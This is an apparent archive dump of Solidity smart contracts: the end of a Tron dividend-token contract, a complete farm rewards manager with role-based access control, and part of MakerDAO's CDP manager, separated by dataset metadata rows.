uint256 DevFee1 = msg.value.div(100).mul(DevFee_);
uint256 DevFeeFinal = SafeMath.div(DevFee1, 10);
dev.transfer(DevFeeFinal);
uint256 feedFee = msg.value.div(100).mul(OldDappFeed_);
feed.transfer(feedFee);
uint256 DailyInt1 = msg.value.div(100).mul(IntFee_);
uint256 DailyIntFinal = SafeMath.div(DailyInt1, 10);
InterestPool_ += DailyIntFinal;
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
require(now >= launchtime);
uint256 DevFee1 = msg.value.div(100).mul(DevFee_);
uint256 DevFeeFinal = SafeMath.div(DevFee1, 10);
dev.transfer(DevFeeFinal);
uint256 feedFee = msg.value.div(100).mul(OldDappFeed_);
feed.transfer(feedFee);
uint256 DailyInt1 = msg.value.div(100).mul(IntFee_);
uint256 DailyIntFinal = SafeMath.div(DailyInt1, 10);
InterestPool_ += DailyIntFinal;
purchaseTokens(msg.value, 0x0);
}
function IDD() public {
require(msg.sender==owner);
uint256 Contract_Bal = SafeMath.sub((address(this).balance), InterestPool_);
uint256 DailyInterest1 = SafeMath.div(SafeMath.mul(Contract_Bal, DailyInterest_), 100);
uint256 DailyInterestFinal = SafeMath.div(DailyInterest1, 100);
InterestPool_ -= DailyInterestFinal;
DividendsDistribution(DailyInterestFinal, 0x0);
}
function DivsAddon() public payable returns (uint256) {
DividendsDistribution(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _tron = tokensToTron_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_tron, exitFee()), 100);
uint256 _devexit = SafeMath.div(SafeMath.mul(_tron, 8), 100);
uint256 _taxedTron1 = SafeMath.sub(_tron, _dividends);
uint256 _taxedTron = SafeMath.sub(_taxedTron1, _devexit);
uint256 _devexitindividual = SafeMath.div(SafeMath.mul(_tron, DevFee_), 100);
uint256 _devexitindividual_final = SafeMath.div(_devexitindividual, 10);
uint256 feedFee = SafeMath.div(SafeMath.mul(_tron, OldDappFeed_), 100);
uint256 DailyInt1 = SafeMath.div(SafeMath.mul(_tron, IntFee_), 100);
uint256 DailyIntFinal = SafeMath.div(DailyInt1, 10);
InterestPool_ += DailyIntFinal;
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
dev.transfer(_devexitindividual_final);
feed.transfer(feedFee);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedTron * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedTron, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToTron_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalTronBalance() public view returns (uint256) {
return this.balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _tron = tokensToTron_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_tron, exitFee()), 100);
uint256 _devexit = SafeMath.div(SafeMath.mul(_tron, 8), 100);
uint256 _taxedTron1 = SafeMath.sub(_tron, _dividends);
uint256 _taxedTron = SafeMath.sub(_taxedTron1, _devexit);
return _taxedTron;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _tron = tokensToTron_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_tron, entryFee_), 100);
uint256 _devexit = SafeMath.div(SafeMath.mul(_tron, 8), 100);
uint256 _taxedTron1 = SafeMath.add(_tron, _dividends);
uint256 _taxedTron = SafeMath.add(_taxedTron1, _devexit);
return _taxedTron;
}
}
function calculateTokensReceived(uint256 _tronToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_tronToSpend, entryFee_), 100);
uint256 _devbuyfees = SafeMath.div(SafeMath.mul(_tronToSpend, 8), 100);
uint256 _taxedTron1 = SafeMath.sub(_tronToSpend, _dividends);
uint256 _taxedTron = SafeMath.sub(_taxedTron1, _devbuyfees);
uint256 _amountOfTokens = tronToTokens_(_taxedTron);
return _amountOfTokens;
}
function calculateTronReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _tron = tokensToTron_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_tron, exitFee()), 100);
uint256 _devexit = SafeMath.div(SafeMath.mul(_tron, 8), 100);
uint256 _taxedTron1 = SafeMath.sub(_tron, _dividends);
uint256 _taxedTron = SafeMath.sub(_taxedTron1, _devexit);
return _taxedTron;
}
function exitFee() public view returns (uint8) {
return ExitFee_;
}
function purchaseTokens(uint256 _incomingTron, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingTron, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _devbuyfees = SafeMath.div(SafeMath.mul(_incomingTron, 8), 100);
uint256 _dividends1 = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _dividends = SafeMath.sub(_dividends1, _devbuyfees);
uint256 _taxedTron = SafeMath.sub(_incomingTron, _undividedDividends);
uint256 _amountOfTokens = tronToTokens_(_taxedTron);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingTron, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function DividendsDistribution(uint256 _incomingTron, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingTron, 100), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedTron = SafeMath.sub(_incomingTron, _undividedDividends);
uint256 _amountOfTokens = tronToTokens_(_taxedTron);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens >= 0 && SafeMath.add(_amountOfTokens, tokenSupply_) >= tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingTron, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function tronToTokens_(uint256 _tron) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_tron * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToTron_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
function setLaunchTime(uint256 _LaunchTime) public {
require(msg.sender==owner);
launchtime = _LaunchTime;
}
function updateDev(address _address) {
require(msg.sender==owner);
dev = _address;
}
function updateFeed(address _address) {
require(msg.sender==owner);
feed = _address;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 291,513 | 11,107 |
d9ce5779eebcd9ff200e4144c0b68a2d3e4911791918ecc9fbe78ce2718fb783
| 29,792 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/b5/b5ec648F696C9F59A8C8881502968aE044B15F7e_FarmRewardsManager.sol
| 3,996 | 14,754 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
// OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol)
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
interface IAccessControl {
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
function hasRole(bytes32 role, address account) public view virtual override returns (bool) {
return _roles[role].members[account];
}
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert(string(abi.encodePacked("AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32))));
}
}
function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
interface IGaugeController {
struct Point {
uint256 bias;
uint256 slope;
}
struct VotedSlope {
uint256 slope;
uint256 power;
uint256 end;
}
function voting_escrow() external view returns (address);
function n_gauge_types() external view returns (int128);
function n_gauges() external view returns(int128);
function gauge_type_names(int128 _gauge_type_id) external view returns (string memory);
function gauges(int128 _gauge_number) external view returns (uint256);
function vote_user_slopes(address _user, uint256 _pool_id) external view returns (VotedSlope memory);
function vote_user_power(address _user) external view returns (uint256);
function last_user_vote(address _user, uint256 _pool_id) external view returns (uint256);
function points_weight(uint256 _pool_id, uint256 _timestamp) external view returns (Point memory);
function changes_weight(uint256 _pool_id, uint256 _timestamp) external view returns (uint256);
function time_weight(uint256 _pool_id) external view returns (uint256);
function points_sum(int128 _type_id, uint256 _timestamp) external view returns (Point memory);
function changes_sum(int128 _type_id, uint256 _timestamp) external view returns (uint256);
function time_sum(int128 _type_id) external view returns (uint256);
function points_total(uint256 _timestamp) external view returns(uint256);
function time_total() external view returns (uint256);
function points_type_weight(int128 _type_id, uint256 _timestamp) external view returns (uint256);
function time_type_weight(int128 _type_id) external view returns(uint256);
function add_type(string memory _name, uint256 _weight) external;
function add_type(string memory _name) external;
function add_gauge(uint256 _pool_id, int128 _gauge_type, uint256 _weight) external;
function add_gauge(uint256 _pool_id, int128 _gauge_type) external;
function gauge_types(uint256 _pool_id) external view returns (int128);
function checkpoint() external;
function checkpoint(uint256 _pool_id) external;
function gauge_relative_weight(uint256 _pool_id, uint256 _time) external view returns (uint256);
function gauge_relative_weight(uint256 _pool_id) external view returns (uint256);
function gauge_relative_weight_write(uint256 _pool_id, uint256 _time) external returns (uint256);
function gauge_relative_weight_write(uint256 _pool_id) external returns (uint256);
function change_type_weight(int128 _type_id, uint256 _weight) external;
function change_gauge_weight(uint256 _pool_id, uint256 _weight) external;
function vote_for_gauge_weights(uint256 _pool_id, uint256 _user_weight) external;
function get_gauge_weight(uint256 _pool_id) external view returns (uint256);
function get_type_weight(int128 _type_id) external view returns (uint256);
function get_total_weight() external view returns (uint256);
function get_weights_sum_per_type(int128 _type_id) external view returns (uint256);
event AddType(string name,
int128 type_id);
event NewTypeWeight(int128 type_id,
uint256 time,
uint256 weight,
uint256 total_weight);
event NewGaugeWeight(uint256 pool_id,
uint256 time,
uint256 weight,
uint256 total_weight);
event VoteForGauge(uint256 time,
address user,
uint256 pool_id,
uint256 weight);
event NewGauge(uint256 addr,
int128 gauge_type,
uint256 weight);
event KilledGauge(uint256 addr);
error InvalidGaugeType();
error DuplicatedGauge();
error LockExpiresBeforeNextEpoch();
error NoVotingPowerLeft();
error VoteTooSoon();
error GaugeNotFound();
error UsedTooMuchPower();
}
interface IFarm {
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) external;
}
contract FarmRewardsManager is AccessControl {
// Roles
bytes32 constant GOVERNOR = bytes32("GOVERNOR");
bytes32 constant KEEPER = bytes32("KEEPER");
// A week in seconds
uint256 constant WEEK = 7 * 24 * 60 * 60;
// The farm contract address
address public farm;
// The gauge controller contract address
address public gaugeController;
// poolId => `true` if initialized
mapping(uint256 => bool) initialized;
// poolId => timestamp => `true` if already distributed
mapping(uint256 => mapping(uint256 => bool)) distributed;
constructor(address _farm, address _gaugeController, address _governor) {
farm = _farm;
gaugeController = _gaugeController;
_grantRole(GOVERNOR, _governor);
}
modifier onlyGovernor() {
if (!hasRole(GOVERNOR, msg.sender)) {
revert Unauthorized();
}
_;
}
modifier onlyKeeper() {
if(!hasRole(KEEPER, msg.sender)) {
revert Unauthorized();
}
_;
}
function updateFarm(address _farm) external onlyGovernor {
emit FarmUpdated(farm, _farm, msg.sender);
farm = _farm;
}
function updateGaugeController(address _gaugeController) external onlyGovernor {
emit GaugeControllerUpdated(gaugeController, _gaugeController, msg.sender);
gaugeController = _gaugeController;
}
function transferGovernorRole(address _governor) external onlyGovernor {
emit GovernorRoleTransferred(msg.sender, _governor);
_revokeRole(GOVERNOR, msg.sender);
_grantRole(GOVERNOR, _governor);
}
function grantKeeperRole(address _keeper) external onlyGovernor {
emit KeeperRoleGranted(_keeper, msg.sender);
_grantRole(KEEPER, _keeper);
}
function revokeKeeperRole(address _keeper) external onlyGovernor {
emit KeeperRoleRevoked(_keeper, msg.sender);
_revokeRole(KEEPER, _keeper);
}
function initializePool(uint256 _poolId, uint256 _weight) external onlyGovernor {
if (initialized[_poolId]) {
revert PoolAlreadyInitialized(_poolId);
}
// Round down to the closest week
uint256 week = (block.timestamp / WEEK) * WEEK;
initialized[_poolId] = true;
uint256 weight = _updateReward(_poolId, week, _weight);
emit PoolInitialized(farm, _poolId, week, weight, msg.sender);
}
function updateReward(uint256 _poolId) external onlyKeeper returns (uint256) {
if (!initialized[_poolId]) {
revert PoolNotInitialized(_poolId);
}
// Round down to the closest week
uint256 week = (block.timestamp / WEEK) * WEEK;
if (distributed[_poolId][week]) {
revert AlreadyDistributed(_poolId, week);
}
uint256 weight = _updateReward(_poolId, week);
emit UpdateRewards(farm, _poolId, week, weight, msg.sender);
return weight;
}
function updateMultipleRewards(uint256[] memory _poolIds) external onlyKeeper {
// Round down to the closest week
uint256 week = (block.timestamp / WEEK) * WEEK;
for (uint256 i; i < _poolIds.length; ++i) {
uint256 poolId = _poolIds[i];
if (!initialized[poolId]) {
continue;
}
if (distributed[poolId][week]) {
continue;
}
uint256 weight = _updateReward(poolId, week);
emit UpdateRewards(farm, poolId, week, weight, msg.sender);
}
}
function _updateReward(uint256 _poolId, uint256 _week) internal returns (uint256) {
distributed[_poolId][_week] = true;
uint256 relativeWeight = IGaugeController(gaugeController).gauge_relative_weight_write(_poolId, _week);
IFarm(farm).set(_poolId, relativeWeight, true);
return relativeWeight;
}
function _updateReward(uint256 _poolId, uint256 _week, uint256 _weight) internal returns (uint256) {
distributed[_poolId][_week] = true;
IFarm(farm).set(_poolId, _weight, true);
return _weight;
}
event UpdateRewards(address indexed farm,
uint256 indexed poolId,
uint256 indexed week,
uint256 weight,
address keeper);
event PoolInitialized(address indexed farm,
uint256 indexed poolId,
uint256 indexed week,
uint256 weight,
address governor);
event FarmUpdated(address indexed oldFarm,
address indexed newFarm,
address indexed governor);
event GaugeControllerUpdated(address indexed oldGaugeController,
address indexed newGaugeController,
address indexed governor);
event KeeperRoleGranted(address indexed keeper,
address indexed governor);
event KeeperRoleRevoked(address indexed keeper,
address indexed governor);
event GovernorRoleTransferred(address indexed oldGovernor,
address indexed newGovernor);
error Unauthorized();
error AlreadyDistributed(uint256 _poolId, uint256 _timestamp);
error PoolAlreadyInitialized(uint256 _poolId);
error PoolNotInitialized(uint256 _poolId);
}
| 51,701 | 11,108 |
f5ec696c7e97a407b9942208bf85c015b253c8ebbf3788512dd8416993dfb2c5
| 11,534 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/ac/ac16621ff518fb4f5a8badacdc5ff288e58bb64a_GetCdps.sol
| 2,959 | 10,474 |
// SPDX-License-Identifier: AGPL-3.0-or-later
/// GetCdps.sol
// Copyright (C) 2018-2020 Maker Ecosystem Growth Holdings, INC.
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity >=0.5.12;
contract LibNote {
event LogNote(bytes4 indexed sig,
address indexed usr,
bytes32 indexed arg1,
bytes32 indexed arg2,
bytes data) anonymous;
modifier note {
_;
assembly {
// log an 'anonymous' event with a constant 6 words of calldata
// and four indexed topics: selector, caller, arg1 and arg2
let mark := msize() // end of memory ensures zero
mstore(0x40, add(mark, 288)) // update free memory pointer
mstore(mark, 0x20) // bytes type data offset
mstore(add(mark, 0x20), 224) // bytes size (padded)
calldatacopy(add(mark, 0x40), 0, 224) // bytes payload
log4(mark, 288, // calldata
shl(224, shr(224, calldataload(0))), // msg.sig
caller(), // msg.sender
calldataload(4), // arg1
calldataload(36) // arg2)
}
}
}
interface VatLike {
function urns(bytes32, address) external view returns (uint, uint);
function hope(address) external;
function flux(bytes32, address, address, uint) external;
function move(address, address, uint) external;
function frob(bytes32, address, address, address, int, int) external;
function fork(bytes32, address, address, int, int) external;
}
contract UrnHandler {
constructor(address vat) public {
VatLike(vat).hope(msg.sender);
}
}
contract DssCdpManager is LibNote {
address public vat;
uint public cdpi; // Auto incremental
mapping (uint => address) public urns; // CDPId => UrnHandler
mapping (uint => List) public list; // CDPId => Prev & Next CDPIds (double linked list)
mapping (uint => address) public owns; // CDPId => Owner
mapping (uint => bytes32) public ilks; // CDPId => Ilk
mapping (address => uint) public first; // Owner => First CDPId
mapping (address => uint) public last; // Owner => Last CDPId
mapping (address => uint) public count; // Owner => Amount of CDPs
mapping (address => mapping (uint => mapping (address => uint))) public cdpCan; // Owner => CDPId => Allowed Addr => True/False
mapping (address => mapping (address => uint)) public urnCan; // Urn => Allowed Addr => True/False
struct List {
uint prev;
uint next;
}
event NewCdp(address indexed usr, address indexed own, uint indexed cdp);
modifier cdpAllowed(uint cdp) {
require(msg.sender == owns[cdp] || cdpCan[owns[cdp]][cdp][msg.sender] == 1, "cdp-not-allowed");
_;
}
modifier urnAllowed(address urn) {
require(msg.sender == urn || urnCan[urn][msg.sender] == 1, "urn-not-allowed");
_;
}
constructor(address vat_) public {
vat = vat_;
}
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function toInt(uint x) internal pure returns (int y) {
y = int(x);
require(y >= 0);
}
// Allow/disallow a usr address to manage the cdp.
function cdpAllow(uint cdp,
address usr,
uint ok) public cdpAllowed(cdp) {
cdpCan[owns[cdp]][cdp][usr] = ok;
}
// Allow/disallow a usr address to quit to the the sender urn.
function urnAllow(address usr,
uint ok) public {
urnCan[msg.sender][usr] = ok;
}
// Open a new cdp for a given usr address.
function open(bytes32 ilk,
address usr) public note returns (uint) {
require(usr != address(0), "usr-address-0");
cdpi = add(cdpi, 1);
urns[cdpi] = address(new UrnHandler(vat));
owns[cdpi] = usr;
ilks[cdpi] = ilk;
// Add new CDP to double linked list and pointers
if (first[usr] == 0) {
first[usr] = cdpi;
}
if (last[usr] != 0) {
list[cdpi].prev = last[usr];
list[last[usr]].next = cdpi;
}
last[usr] = cdpi;
count[usr] = add(count[usr], 1);
emit NewCdp(msg.sender, usr, cdpi);
return cdpi;
}
// Give the cdp ownership to a dst address.
function give(uint cdp,
address dst) public note cdpAllowed(cdp) {
require(dst != address(0), "dst-address-0");
require(dst != owns[cdp], "dst-already-owner");
// Remove transferred CDP from double linked list of origin user and pointers
if (list[cdp].prev != 0) {
list[list[cdp].prev].next = list[cdp].next; // Set the next pointer of the prev cdp (if exists) to the next of the transferred one
}
if (list[cdp].next != 0) { // If wasn't the last one
list[list[cdp].next].prev = list[cdp].prev; // Set the prev pointer of the next cdp to the prev of the transferred one
} else { // If was the last one
last[owns[cdp]] = list[cdp].prev; // Update last pointer of the owner
}
if (first[owns[cdp]] == cdp) { // If was the first one
first[owns[cdp]] = list[cdp].next; // Update first pointer of the owner
}
count[owns[cdp]] = sub(count[owns[cdp]], 1);
// Transfer ownership
owns[cdp] = dst;
// Add transferred CDP to double linked list of destiny user and pointers
list[cdp].prev = last[dst];
list[cdp].next = 0;
if (last[dst] != 0) {
list[last[dst]].next = cdp;
}
if (first[dst] == 0) {
first[dst] = cdp;
}
last[dst] = cdp;
count[dst] = add(count[dst], 1);
}
// Frob the cdp keeping the generated DAI or collateral freed in the cdp urn address.
function frob(uint cdp,
int dink,
int dart) public note cdpAllowed(cdp) {
address urn = urns[cdp];
VatLike(vat).frob(ilks[cdp],
urn,
urn,
urn,
dink,
dart);
}
// Transfer wad amount of cdp collateral from the cdp address to a dst address.
function flux(uint cdp,
address dst,
uint wad) public note cdpAllowed(cdp) {
VatLike(vat).flux(ilks[cdp], urns[cdp], dst, wad);
}
// Transfer wad amount of any type of collateral (ilk) from the cdp address to a dst address.
function flux(bytes32 ilk,
uint cdp,
address dst,
uint wad) public note cdpAllowed(cdp) {
VatLike(vat).flux(ilk, urns[cdp], dst, wad);
}
